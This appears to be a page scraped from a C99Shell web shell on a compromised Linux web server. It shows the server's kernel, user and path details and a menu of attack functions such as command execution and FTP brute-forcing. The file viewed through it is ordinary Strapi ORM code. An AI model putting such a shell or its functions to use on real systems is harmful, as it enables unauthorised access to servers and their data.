!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi-connector-bookshelf/lib/utils/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (22.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     store-definition.js (1.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const _ = require('lodash');

const getKeyForDefinition = definition => `model_def_${definition.uid}`;

const formatDefinitionToStore = definition =>
  JSON.stringify(
    _.pick(definition, [
      'uid',
      'collectionName',
      'kind',
      'info',
      'options',
      'pluginOptions',
      'attributes',
    ])
  );

const getDefinitionFromStore = async (definition, ORM) => {
  const coreStoreExists = await ORM.knex.schema.hasTable('core_store');

  if (!coreStoreExists) {
    return undefined;
  }

  const def = await strapi.models['core_store']
    .forge({ key: getKeyForDefinition(definition) })
    .fetch();

  return def ? JSON.parse(_.get(def.toJSON(), 'value', null)) : undefined;
};

const storeDefinition = async (definition, ORM) => {
  const defToStore = formatDefinitionToStore(definition);
  const existingDef = await getDefinitionFromStore(definition, ORM);

  const defData = {
    key: getKeyForDefinition(definition),
    type: 'object',
    value: defToStore,
  };

  if (existingDef) {
    return strapi.models['core_store']
      .forge()
      .where({ key: getKeyForDefinition(definition) })
      .save(defData, { method: 'update' });
  }

  return strapi.models['core_store'].forge(defData).save();
};

const getColumnsWhereDefinitionChanged = async (columnsName, definition, ORM) => {
  const previousDefinition = await getDefinitionFromStore(definition, ORM);

  return columnsName.filter(columnName => {
    const previousAttribute = _.get(previousDefinition, ['attributes', columnName], null);
    const actualAttribute = _.get(definition, ['attributes', columnName], null);

    return !_.isEqual(previousAttribute, actualAttribute);
  });
};

module.exports = {
  storeDefinition,
  getDefinitionFromStore,
  getColumnsWhereDefinitionChanged,
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0707 ]--